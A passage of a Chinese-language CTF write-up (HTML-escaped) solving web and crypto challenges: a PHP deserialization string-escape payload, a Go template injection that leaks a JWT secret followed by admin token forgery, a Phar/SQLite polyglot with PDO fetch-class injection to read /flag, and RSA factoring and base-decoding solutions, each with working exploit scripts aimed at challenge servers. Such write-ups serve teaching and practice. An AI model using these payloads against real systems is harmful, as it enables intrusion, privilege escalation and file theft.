&lt;li&gt;&lt;strong&gt;目标&lt;/strong&gt;：使反序列化后的对象属性 &lt;code&gt;$fail&lt;/code&gt; 为 0（默认为 1）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;漏洞原理：PHP 反序列化字符逃逸（增多）&lt;/p&gt;
&lt;p&gt;PHP 在反序列化时，会根据序列化字符串中的长度描述（如 &lt;code&gt;s:7:&quot;...&quot;&lt;/code&gt;）来读取数据。
如果我们在序列化后的字符串中进行了替换操作，改变了字符串的实际长度，但没有更新长度描述，就会导致反序列化解析错位。&lt;/p&gt;
&lt;p&gt;在本题中，&lt;code&gt;awesome&lt;/code&gt; (7 chars) -&amp;gt; &lt;code&gt;awesomer&lt;/code&gt; (8 chars)，长度增加。我们可以利用这个特性，将我们构造的恶意属性字符串“挤”出原来的字符串引号包围范围，从而被解析为对象的属性。&lt;/p&gt;
&lt;p&gt;我们需要构造一个 &lt;code&gt;rainbow&lt;/code&gt; 字符串，使得经过 &lt;code&gt;str_replace&lt;/code&gt; 后，一部分内容逃逸出来，覆盖原本的结构，并注入 &lt;code&gt;fail&lt;/code&gt; 属性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 确定注入 Payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们要注入的属性是 &lt;code&gt;$fail = 0&lt;/code&gt;。
正常序列化后的结尾大概是 &lt;code&gt;...s:6:&quot;pinkie&quot;;s:1:&quot;x&quot;;s:4:&quot;fail&quot;;i:1;}&lt;/code&gt;。
我们希望构造的结构能让反序列化提前结束，或者覆盖后面的属性。&lt;/p&gt;
&lt;p&gt;我们可以让 &lt;code&gt;rainbow&lt;/code&gt; 的值吞掉一部分后续字符，或者把后续字符挤出去。这里是&lt;strong&gt;长度增加&lt;/strong&gt;，所以是将后面的恶意代码挤出 &lt;code&gt;rainbow&lt;/code&gt; 的字符串范围。&lt;/p&gt;
&lt;p&gt;构造 Payload 目标：让 &lt;code&gt;rainbow&lt;/code&gt; 的值在反序列化时闭合，紧接着是我们注入的 &lt;code&gt;fail&lt;/code&gt; 属性。&lt;/p&gt;
&lt;p&gt;注入部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;;s:6:&quot;pinkie&quot;;s:1:&quot;x&quot;;s:4:&quot;fail&quot;;i:0;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段字符串长度为 &lt;strong&gt;37&lt;/strong&gt; 字符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 计算逃逸长度&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们需要逃逸 37 个字符。
因为 &lt;code&gt;awesome&lt;/code&gt; -&amp;gt; &lt;code&gt;awesomer&lt;/code&gt; 每次增加 1 个字符，所以我们需要 37 个 &lt;code&gt;awesome&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 构造最终 Payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rainbow&lt;/code&gt; 的组成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;wonderful&lt;/code&gt; (题目要求必须包含，用于绕过 &lt;code&gt;preg_match&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;awesome&lt;/code&gt; * 37 (用于产生 37 个字节的逃逸空间)&lt;/li&gt;
&lt;li&gt;注入的恶意序列化字符串：&lt;code&gt;&quot;;s:6:&quot;pinkie&quot;;s:1:&quot;x&quot;;s:4:&quot;fail&quot;;i:0;}&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;pinkie&lt;/code&gt; 可以随意设置，比如 &lt;code&gt;x&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理演示：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设 &lt;code&gt;rainbow&lt;/code&gt; 只有 1 个 &lt;code&gt;awesome&lt;/code&gt; 和注入 payload。
序列化后：
&lt;code&gt;...s:46:&quot;wonderfulawesome...&quot;;...&lt;/code&gt; (长度是按原始字符串算的)&lt;/p&gt;
&lt;p&gt;替换后：
&lt;code&gt;awesome&lt;/code&gt; 变成 &lt;code&gt;awesomer&lt;/code&gt;，长度+1。
反序列化读取字符串时，读取原始长度，因此 &lt;code&gt;awesomer&lt;/code&gt; 中的 &lt;code&gt;r&lt;/code&gt; 以及后面的字符会被“挤”到后面去。&lt;/p&gt;
&lt;p&gt;我们需要挤出的正是 &lt;code&gt;&quot;;s:6:&quot;pinkie&quot;;s:1:&quot;x&quot;;s:4:&quot;fail&quot;;i:0;}&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &quot;http://150.138.81.18:14935/&quot;

# 我们要注入的恶意属性，不仅覆盖 fail，还为了闭合前面 rainbow 的引号和分号
# 注意：这里不需要闭合大括号，因为我们是在中间注入属性，最后由 PHP 自动处理或忽略多余部分
# 但为了稳妥，直接闭合整个对象也是一种方法，或者只是注入属性。
# 题目中 rainbow 是第一个属性，pinkie 是第二个，fail 是第三个。
# 我们的注入会让解析器以为 rainbow 的值结束了，然后解析 pinkie 和 fail。

# 注入 Payload:
# &quot;;  &amp;lt;- 闭合 rainbow 的字符串
# s:6:&quot;pinkie&quot;;s:1:&quot;x&quot;; &amp;lt;- 伪造 pinkie
# s:4:&quot;fail&quot;;i:0; &amp;lt;- 伪造 fail，设为 0
# } &amp;lt;- 闭合对象
inject_payload = &apos;&quot;;s:6:&quot;pinkie&quot;;s:1:&quot;x&quot;;s:4:&quot;fail&quot;;i:0;}&apos;

# 需要逃逸的长度
escape_len = len(inject_payload)

# 每个 awesome 增加 1 字节，所以需要 escape_len 个 awesome
# 题目要求 rainbow 包含 wonderful
rainbow = &quot;wonderful&quot; + &quot;awesome&quot; * escape_len + inject_payload
pinkie = &quot;x&quot;

params = {
    &quot;rainbow&quot;: rainbow,
    &quot;pinkie&quot;: pinkie
}

print(f&quot;Payload length: {len(rainbow)}&quot;)
res = requests.get(url, params=params)
print(res.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Purple Moon&lt;/h2&gt;
&lt;h2&gt;Gogogo&lt;/h2&gt;
&lt;p&gt;访问题目提供的链接 http://150.138.81.18:12078 ，发现是一个“ACME 客服工单系统”。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;注册与登录 : 系统允许用户注册任意账号。注册并登录后，进入后台仪表板。&lt;/li&gt;
&lt;li&gt;功能点 :
&lt;ul&gt;
&lt;li&gt;Dashboard : 查看概览。&lt;/li&gt;
&lt;li&gt;Tickets : 查看工单列表。可以看到工单 #1001, #1002, #1004，但缺少 #1003。&lt;/li&gt;
&lt;li&gt;New Ticket : 创建新工单，包含一个“预览”功能。&lt;/li&gt;
&lt;li&gt;Settings / Profile : 查看个人信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;发现受限资源 : 尝试直接访问 http://150.138.81.18:12078/ticket/1003 ，系统提示“权限不足：此工单需要管理员权限”。&lt;/li&gt;
&lt;li&gt;身份验证机制 : 检查浏览器 Cookies，发现系统使用 JWT ( token ) 进行身份验证。解码 Token 可以看到 role: support 和 userid: 2 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在“新建工单” ( /new ) 页面，发现有一个“预览”按钮。输入内容并点击预览后，内容会回显在下方。&lt;/p&gt;
&lt;p&gt;尝试输入模板注入测试 Payload：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入 {{ 7&lt;em&gt;7 }} -&amp;gt; 报错，提示 template: preview_result:1: unexpected &quot;&lt;/em&gt;&quot; in operand 。&lt;/li&gt;
&lt;li&gt;报错信息泄露了后端使用的是 Go 语言的 text/template 或 html/template 引擎 。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;步骤一：利用 SSTI 泄露密钥&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于是 Go 模板引擎，我们可以尝试打印当前上下文的所有变量。&lt;/p&gt;
&lt;p&gt;Payload :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ printf &quot;%+v&quot; . }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果 :
服务器返回了当前上下文的详细结构体数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{Config:{Name:ACME 客服工单系统 ... JWT:
{Secret:7k5emlQwwUAIIBHJ 
Issuer:acme-support-prod}} User:
{UserID:2 ... Role:support ...} ...}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们在返回的配置信息中直接找到了 JWT 的签名密钥 (Secret)： Secret : 7k5emlQwwUAIIBHJ&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步骤二：伪造管理员 Token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;拿到密钥后，我们就可以伪造任意身份的 JWT Token。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获取原 Token : 复制当前用户的 Cookie token 。&lt;/li&gt;
&lt;li&gt;解码 : 使用 JWT 工具或脚本解码。&lt;/li&gt;
&lt;li&gt;修改 Payload :
&lt;ul&gt;
&lt;li&gt;将 role 从 support 改为 admin 。&lt;/li&gt;
&lt;li&gt;(可选) 将 userid 改为 1 (通常管理员 ID 为 1)。&lt;/li&gt;
&lt;li&gt;(可选) 将 name 改为 admin 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;重新签名 : 使用泄露的密钥 7k5emlQwwUAIIBHJ 和 HS256 算法对 Token 进行重新签名。
伪造脚本 (Python 示例) :&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;import jwt

SECRET = &quot;7k5emlQwwUAIIBHJ&quot;
# 原始 Token 的 payload
payload = {
    &quot;exp&quot;: 1765059187,
    &quot;iss&quot;: &quot;acme-support-prod&quot;,
    &quot;name&quot;: &quot;admin&quot;,
    &quot;role&quot;: &quot;admin&quot;,
    &quot;userid&quot;: 1
}
forged_token = jwt.encode(payload, 
SECRET, algorithm=&quot;HS256&quot;)
print(forged_token)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤三：获取 Flag&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在浏览器中将 Cookie 中的 token 替换为刚才伪造的 管理员 Token 。&lt;/li&gt;
&lt;li&gt;再次访问之前受限的工单页面： http://150.138.81.18:12078/ticket/1003 。&lt;/li&gt;
&lt;li&gt;成功进入详情页，在工单描述中找到了 Flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Message_Board&lt;/h2&gt;
&lt;p&gt;漏洞分析&lt;/p&gt;
&lt;p&gt;这道题综合了 Phar 反序列化 、 SQLite Polyglot（多格文件） 以及 PDO Fetch Injection 三个知识点。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 入口点：Phar 反序列化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 index.php 的 delete 逻辑中，存在 file_exists 调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function deleteMessage($path) {
    $path = $path . &quot;.txt&quot;;
    if (file_exists($path)) { // 漏洞点
        // ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 $path 参数可控，我们可以传入 phar:///var/www/html/upload/ctfer_message ，配合 .txt 后缀，触发 Phar 反序列化漏洞。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. POP 链构造&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;反序列化的入口是 User 类：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User::__destruct() : 析构函数调用了 $this-&amp;gt;log() 。&lt;/li&gt;
&lt;li&gt;User::log() : 调用 $this-&amp;gt;conn-&amp;gt;get_connection() 获取数据库连接，并执行 SQL 查询： SELECT * FROM users WHERE username = :username 。&lt;/li&gt;
&lt;li&gt;PDO_connect : 我们可以控制 $this-&amp;gt;conn 为一个恶意的 PDO_connect 对象。在该对象中，我们可以控制 dsn 和 options 。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心利用：PDO Fetch Injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这是本题最精彩的部分。我们需要利用 User::log() 中的 SQL 查询结果来执行任意操作。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$stmt-&amp;gt;execute();
$result = $stmt-&amp;gt;fetch(); // 获取查询结果
return $result;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们在 PDO_connect 中设置了特殊的 PDO 属性：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PDO::ATTR_DEFAULT_FETCH_MODE =&amp;gt; 
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PDO 会根据查询结果的第一列作为 类名 来实例化对象，并将后续列作为属性赋值给该对象。&lt;/p&gt;
&lt;p&gt;我们的目标是利用 UserMessage 类读取 Flag：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UserMessage::__set() : 当给不存在的属性赋值时触发，会读取 $this-&amp;gt;filePath 指向的文件并写入 log。
攻击思路 ：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;让 SQL 查询返回一个结果集，第一列是 UserMessage 。&lt;/li&gt;
&lt;li&gt;PDO 自动实例化 UserMessage 。&lt;/li&gt;
&lt;li&gt;SQL 结果集中包含 filePath 列（设置为 /flag ）。&lt;/li&gt;
&lt;li&gt;SQL 结果集中包含一个不存在的列（例如 dummy ），触发 UserMessage::__set 。&lt;/li&gt;
&lt;li&gt;__set 触发文件读取，将 /flag 内容写入 /var/www/html/log/md5(&apos;/flag&apos;).txt 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;4. 数据源：SQLite Polyglot&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因为 User::log() 执行的是 SELECT 查询，我们需要一个受控的数据库。
我们可以将 DSN 指向我们上传的文件： sqlite:/var/www/html/upload/ctfer_message.txt 。
由于我们只能上传一个文件，且该文件必须既是有效的 Phar (用于反序列化) 又是有效的 SQLite 数据库 (用于 PDO 查询)，我们需要构造一个 Polyglot 文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phar 部分 : 包含恶意的 User 对象。&lt;/li&gt;
&lt;li&gt;SQLite 部分 : 包含一个 users 表，里面有一行恶意数据。&lt;/li&gt;
&lt;li&gt;结合 : 将 SQLite 数据库文件的内容放在 Phar 的 Stub 中，并以 &amp;lt;?php __HALT_COMPILER(); ?&amp;gt; 结尾。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第一步：生成恶意 SQLite 数据库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们需要创建一个 users 表，列的顺序非常重要，因为我们要利用 FETCH_CLASSTYPE 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# create_db.py
import sqlite3

conn = sqlite3.connect(&apos;payload.db&apos;)
c = conn.cursor()

# 表结构设计：
# col1: 用于指定类名 (UserMessage)
# filePath: 设置 UserMessage 的私有属性 
filePath 为 /flag
# dummy: 一个不存在的属性，用于触发 __set 魔术
方法
# username: 用于匹配查询条件 WHERE username 
= :username (admin)
c.execute(&apos;&apos;&apos;CREATE TABLE users 
             (col1 TEXT, filePath TEXT, 
             dummy TEXT, username TEXT)
             &apos;&apos;&apos;)

# 插入恶意数据
c.execute(&quot;INSERT INTO users VALUES 
(&apos;UserMessage&apos;, &apos;/flag&apos;, &apos;1&apos;, &apos;admin&apos;)&quot;)

conn.commit()
conn.close()
print(&quot;payload.db created&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第二步：生成 Polyglot Phar 文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 PHP 构造 Phar 文件，将 SQLite 数据库嵌入 Stub，并设置 Metadata 触发反序列化。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gen_phar.php
&amp;lt;?php
include &apos;classes.php&apos;; // 需包含题目源码中的
类定义

// 1. 准备恶意 User 对象
$user = new User(1, &quot;admin&quot;, &quot;123&quot;);

// 2. 准备恶意 PDO 连接配置
$pdo_connect = new PDO_connect();
$pdo_connect-&amp;gt;con_options = array(
    // DSN 指向我们上传的文件 (既是 Phar 又是 
    SQLite DB)
    &quot;dsn&quot; =&amp;gt; &quot;sqlite:/var/www/html/upload/
    ctfer_message.txt&quot;,
    &apos;user&apos; =&amp;gt; &apos;&apos;,
    &apos;password&apos; =&amp;gt; &apos;&apos;,
    &apos;options&apos; =&amp;gt; array(
        // 关键：设置默认 Fetch Mode 为 
        FETCH_CLASS | FETCH_CLASSTYPE
        PDO::ATTR_DEFAULT_FETCH_MODE =&amp;gt; 
        PDO::FETCH_CLASS | 
        PDO::FETCH_CLASSTYPE,
        PDO::ATTR_ERRMODE =&amp;gt; 
        PDO::ERRMODE_EXCEPTION
    )
);

$user-&amp;gt;setConn($pdo_connect);

// 3. 读取 SQLite 数据库内容
$db_content = file_get_contents(&apos;payload.
db&apos;);

// 4. 生成 Phar
@unlink(&apos;payload.phar&apos;);
$phar = new Phar(&apos;payload.phar&apos;);
$phar-&amp;gt;startBuffering();

// 将 SQLite 内容作为 Stub 的一部分
$stub = $db_content . &quot;&amp;lt;?php 
__HALT_COMPILER(); ?&amp;gt;&quot;;
$phar-&amp;gt;setStub($stub);

// 设置 Metadata 序列化数据
$phar-&amp;gt;setMetadata($user);

// 添加任意文件保证 Phar 有效性
$phar-&amp;gt;addFromString(&apos;test.txt&apos;, &apos;test&apos;);

$phar-&amp;gt;stopBuffering();
echo &quot;payload.phar created.\n&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第三步：上传并利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 Python 脚本自动化攻击流程。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# exploit.py
import requests
import base64
import hashlib

url = &quot;http://150.138.81.18:11087&quot;

# 1. 读取生成的 payload.phar
with open(&apos;payload.phar&apos;, &apos;rb&apos;) as f:
    payload = f.read()

# 2. 上传 Payload
# 题目会对 message 进行 base64_decode，所以我
们需要先 base64 编码
payload_b64 = base64.b64encode(payload).
decode()
print(&quot;[*] Uploading payload...&quot;)
requests.post(f&quot;{url}/index.php?
action=write&quot;, data={
    &quot;message&quot;: payload_b64
})

# 3. 触发反序列化
# 使用 phar:// 伪协议指向上传的文件
# 注意：题目代码中会附加 .txt 后缀，所以这里去
掉 .txt
path = &quot;phar:///var/www/html/upload/
ctfer_message&quot;
print(&quot;[*] Triggering exploit...&quot;)
requests.post(f&quot;{url}/index.php?
action=delete&quot;, data={
    &quot;message_path&quot;: path
})

# 4. 获取 Flag
# 触发成功后，/flag 的内容会被写入到 log 目录下
flag_path = &quot;/flag&quot;
flag_md5 = hashlib.md5(flag_path.encode
()).hexdigest()
log_url = f&quot;{url}/log/{flag_md5}.txt&quot;

print(f&quot;[*] Checking log: {log_url}&quot;)
r = requests.get(log_url)
if r.status_code == 200:
    print(&quot;\n[+] Flag Found:\n&quot;)
    print(r.text)
else:
    print(&quot;[-] Exploit failed or log not 
    found.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;CRYPTO&lt;/h1&gt;
&lt;h2&gt;Ancient&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Base64 Decode : RzVJVFlaSkZGUk1HV1daWkdOQ0RFNEpJSE5RWEdOS05ISlNHSTNCT0daWVVXS1pDRzQzV01UQ0NISkVTNElKQkdKUkZFUEpYRjVIVk0zMlpIQVpXNjQyTkdaSlRBNFMzR1pKVENPMllIVjJWWVRMQ0daTERDTVpYR0JURk1TMlpHQlRWR0xDWkdaS1ZRWUo1R0ZURVFRSlNHQlRGNFQyTUc1SVRHUURFSFU3REVZSkVHNVdFS1FEUEdKUEVJS1NYRzQ0RkNRU0lITkNIQ1NaUEdWWlc0UlJZR1pZSEdRVFBHSVVXSVMzQkc0M0RHMkJIRzQ0R1lLU0VHQlFBPT09PQ== ↓&lt;/li&gt;
&lt;li&gt;Base32 Decode : G5ITYZJFFRMGWWZZGNCDE4JIHNQXGNKNHJSGI3BOGZYUWKZCG43WMTCCHJES4IJBGJRFEPJXF5HVM32ZHAZW642NGZJTA4S3GZJTCO2YHV2VYTLCGZLDCMZXGBTFMS2ZGBTVGLCZGZKVQYJ5GFTEQQJSGBTF4T2MG5ITGQDEHU7DEYJEG5WEKQDPGJPEIKSXG44FCQSIHNCHCSZPGVZW4RRYGZYHGQTPGIUWIS3BG43DG2BHG44GYKSEGBQA==== ↓&lt;/li&gt;
&lt;li&gt;Ascii85 Decode (注意不是 Git 版 Base85，而是 Adobe Ascii85):
`7Q&amp;lt;e%,Xk[93D2q(;as5M:ddl.6qK+&quot;77fLB:I.!!2bR=7/OVoY83osM6S0r[6S1;X=u\Mb6V1370fVKY0gS,Y6UXa=1fHA20f^OL7Q3@d=&amp;gt;2a$7lE@o2^D W78QBH;DqK/5snF86psBo2)dKa763h&apos;78l D0``
↓&lt;/li&gt;
&lt;li&gt;Base45 Decode : F8DA$ETZ9KI9SFFLPDI/DI1BEI9YOA967KZ9-DB/HAMUC-/EC-98Z89 CIS618B71AB.CDPD4S8Q19%FF7:6X09AG69B7$M8EPDMR6T1ACOCDDC-578FE:DBES6T1 ↓&lt;/li&gt;
&lt;li&gt;Base62 Decode (标准字符集 0-9A-Za-z ): hLuIMuJoyfkOnvWBJiSt8vMlYuRBdHvvNrEweI4tXlONfYkGD8Gxyp79GR2P9WCKkH4KOdc0aB8iqiYx4pJ ↓&lt;/li&gt;
&lt;li&gt;Base58 Decode (标准 Bitcoin 字符集): 3XzE5jomPADm2Q58eE6XgcTZu9CWkr3Q6aZmT2irXqikpp3xA4ucXHCKHQWZmE ↓&lt;/li&gt;
&lt;li&gt;Result : flag{cl@ss1cal_c1pher_@re_really_1nterest1ng}&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;EZRSA&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;def tran(n):
	s_bin = bin(n)[2:]
	bit_map = {&apos;0&apos;: &apos;10&apos;, &apos;1&apos;: &apos;01&apos;}
	p_bin = &apos;11&apos; + &apos;&apos;.join([bit_map[bit] for bit in s_bin[1:]])
	return int(p_bin, 2)

def keygen(nbit):
	while True:
		s = getPrime(nbit)
		p = tran(s)
		if not isPrime(p):
			continue
		s_bin = bin(s)[2:].zfill(nbit)
		q_bin = (s_bin[:nbit // 2]
				 + &apos;1&apos; * (nbit // 2)
				 + s_bin[nbit // 2:]
				 + &apos;1&apos; * (nbit // 2))
		q = int(q_bin, 2)
		if isPrime(q):
				return p,q

flag = &quot;flag{____________________________}&quot;
nbit = 256
p, q = keygen(nbit)
m = bytes_to_long(flag.encode())
e= 65537
n = p * q
c = pow(m, e, n)

print(f&apos;n = {n}&apos;)
print(f&apos;c = {c}&apos;)

&quot;&quot;&quot;
n = 
c = 
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;1. 代码逻辑审计&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出了源码 &lt;code&gt;EZRSA.py&lt;/code&gt;，我们需要仔细分析 &lt;code&gt;keygen&lt;/code&gt; 函数中 $p$ 和 $q$ 的生成逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;种子 $s$&lt;/strong&gt;：生成了一个 256 位的随机素数 &lt;code&gt;s&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成 $p$ (&lt;code&gt;tran&lt;/code&gt; 函数)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;$p$ 是由 $s$ 的二进制位转换而来的。&lt;/li&gt;
&lt;li&gt;转换规则：$s$ 中的每一位（除了最高位）如果为 &apos;0&apos; 则变为 &apos;10&apos;，如果为 &apos;1&apos; 则变为 &apos;01&apos;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点&lt;/strong&gt;：这意味着 $p$ 的每一个比特位都严格依赖于 $s$ 的对应比特位。$s$ 的低位决定 $p$ 的低位。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成 $q$&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;$q$ 是通过拼接 $s$ 的二进制位和固定的 &apos;1&apos; 串生成的。&lt;/li&gt;
&lt;li&gt;结构为：&lt;code&gt;s的高128位&lt;/code&gt; + &lt;code&gt;128个&apos;1&apos;&lt;/code&gt; + &lt;code&gt;s的低128位&lt;/code&gt; + &lt;code&gt;128个&apos;1&apos;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点&lt;/strong&gt;：$q$ 的最低 128 位全是 1，随后的 128 位完全等于 $s$ 的低 128 位。这也意味着 $q$ 的低位也完全由 $s$ 决定。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 漏洞原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在标准的 RSA 中，$p$ 和 $q$ 应该是两个独立的随机大素数。但在这道题中：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$p$ 和 $q$ 均由同一个较小的种子数 $s$（256位）确定性生成。&lt;/li&gt;
&lt;li&gt;$n = p \times q$。&lt;/li&gt;
&lt;li&gt;二进制位的对应关系是从低位到高位一一对应的。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这种结构非常适合使用 &lt;strong&gt;爆破比特位（DFS/Branch and Prune）&lt;/strong&gt; 的方法。我们可以从 $s$ 的最低位（LSB）开始，一位一位地猜测 $s$ 的值，计算出对应的局部 $p$ 和 $q$，然后验证 $p \times q \pmod {2^k}$ 是否等于 $n \pmod {2^k}$。如果相等，则说明猜测正确，继续猜测下一位；如果不相等，则回溯。&lt;/p&gt;
&lt;p&gt;解题思路&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;初始化&lt;/strong&gt;：创建一个搜索队列，初始状态为 &lt;code&gt;(当前猜测的s值, 当前位数index)&lt;/code&gt;，从第 0 位开始。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;搜索过程&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;对于当前位 &lt;code&gt;index&lt;/code&gt;，尝试猜测该位是 &lt;code&gt;0&lt;/code&gt; 还是 &lt;code&gt;1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;构造临时的 &lt;code&gt;next_s&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;根据 &lt;code&gt;next_s&lt;/code&gt; 模拟题目逻辑生成临时的 $p$ 和 $q$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;剪枝条件&lt;/strong&gt;：计算 &lt;code&gt;temp_n = p * q&lt;/code&gt;。检查 &lt;code&gt;temp_n&lt;/code&gt; 的低位是否与题目给出的 &lt;code&gt;n&lt;/code&gt; 的低位一致。
&lt;ul&gt;
&lt;li&gt;由于 $p$ 的膨胀率是 2 倍（1位变2位），我们通常检查 &lt;code&gt;2 * (index + 1)&lt;/code&gt; 位长度的模数即可过滤错误分支。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结束条件&lt;/strong&gt;：当猜测完 256 位，且生成的 $p, q$ 满足 $p \times q = n$ 时，即找到了真正的 $s$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解密&lt;/strong&gt;：拿到 $s$ 后，生成完整的 $p, q$，计算私钥 $d$，解密 $c$ 得到 Flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from Crypto.Util.number import long_to_bytes

n = 
c = 
e = 65537
nbit = 256

def get_p_q(s_val):
    s_bin = bin(s_val)[2:].zfill(nbit)
    bit_map = {&apos;0&apos;: &apos;10&apos;, &apos;1&apos;: &apos;01&apos;}
    p_bin = &apos;11&apos; + &apos;&apos;.join([bit_map[bit] for bit in s_bin[1:]])
    p = int(p_bin, 2)
    q_bin = (s_bin[:nbit // 2]
             + &apos;1&apos; * (nbit // 2)
             + s_bin[nbit // 2:]
             + &apos;1&apos; * (nbit // 2))
    q = int(q_bin, 2)
    return p, q
candidates = [(0, 0)]
found_s = None

while candidates:
    cur_s, idx = candidates.pop()  
    if idx == nbit:
        p, q = get_p_q(cur_s)
        if p * q == n:
            found_s = cur_s
            break
        continue

    for bit in [0, 1]:
        next_s = cur_s | (bit &amp;lt;&amp;lt; idx)
        p, q = get_p_q(next_s)
        check_bits = 2 * (idx + 1)
        mask = (1 &amp;lt;&amp;lt; check_bits) - 1
        if (p * q) &amp;amp; mask == n &amp;amp; mask:
            candidates.append((next_s, idx + 1))

if found_s:
    print(f&quot;[+] Found seed s: {found_s}&quot;)
    p, q = get_p_q(found_s)
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    m = pow(c, d, n)
    flag = long_to_bytes(m)
    print(f&quot;[+] Flag: {flag.decode()}&quot;)
else:
    print(&quot;[-] Failed to recover s&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;math&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

def gen_rev_sum(m,p):
    sum = 0
    round = 0
    while m &amp;gt; 0:
        digit = m % p
        if round % 2 == 0:
